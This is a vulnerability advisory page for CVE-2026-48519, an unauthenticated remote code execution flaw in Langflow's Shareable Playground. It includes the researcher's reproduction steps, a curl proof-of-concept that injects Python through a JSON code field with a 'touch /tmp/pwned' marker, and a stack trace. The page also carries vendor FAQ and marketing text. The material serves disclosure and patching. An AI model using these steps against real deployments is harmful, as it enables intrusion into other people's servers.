Summary
Langflow: Unauthenticated RCE in Shareable Playgrounds
The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability.
Simply sharing a flow exposes the deployment to RCE risk by authenticated users.
Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe
Details
Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.
Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID.
When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!
The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.
PoC
Reproduction:
- Create a new flow and add a Chat Input node to it
- Share the flow ("Shareable Playground")
- Access the public link with the browser developers tools open and execute the flow.
- Find the
/api/v1/build_public_tmproute and copy as cURL - Edit the
data.nodes[X].data.node.template.code.valueJSON field with any python code and run the cURL command.
Example PoC (replace flow ID with the correct one), and download test_with_python.json:
curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
-H 'Content-Type: application/json' \
-b 'client_id=anything' \
--data-raw "$(cat test_with_python.json)"
Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.
The stacktrace for the code executed is:
...
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
ids, vertices_to_run, graph = await build_graph_and_get_order()
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
graph = await create_graph(fresh_session, flow_id_str, flow_name)
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
return await build_graph_from_data(
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
graph.add_nodes_and_edges(vertices, edges)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
self.initialize()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
self._build_graph()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
self._instantiate_components_in_vertices()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
vertex.instantiate_component(self.user_id)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
self.custom_component, _ = initialize.loading.instantiate_class(
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
custom_component: CustomComponent | Component = class_object(
File "<string>", line 59, in __init__
Impact
Unauthenticated RCE on any deployment with a shareable playground.
Ori Lahav
Security Researcher @ Rubrik Inc.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-48519 has a CVSS score of 9.6 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-48519? CVE-2026-48519 is a critical-severity code injection vulnerability in langflow (pip), affecting versions <= 1.9.1. It is fixed in 1.9.2. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-48519? CVE-2026-48519 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of langflow are affected by CVE-2026-48519? langflow (pip) versions <= 1.9.1 is affected.
- Is there a fix for CVE-2026-48519? Yes. CVE-2026-48519 is fixed in 1.9.2. Upgrade to this version or later.
- Is CVE-2026-48519 exploitable, and should I be worried? Whether CVE-2026-48519 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48519 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48519? Upgrade
langflowto 1.9.2 or later.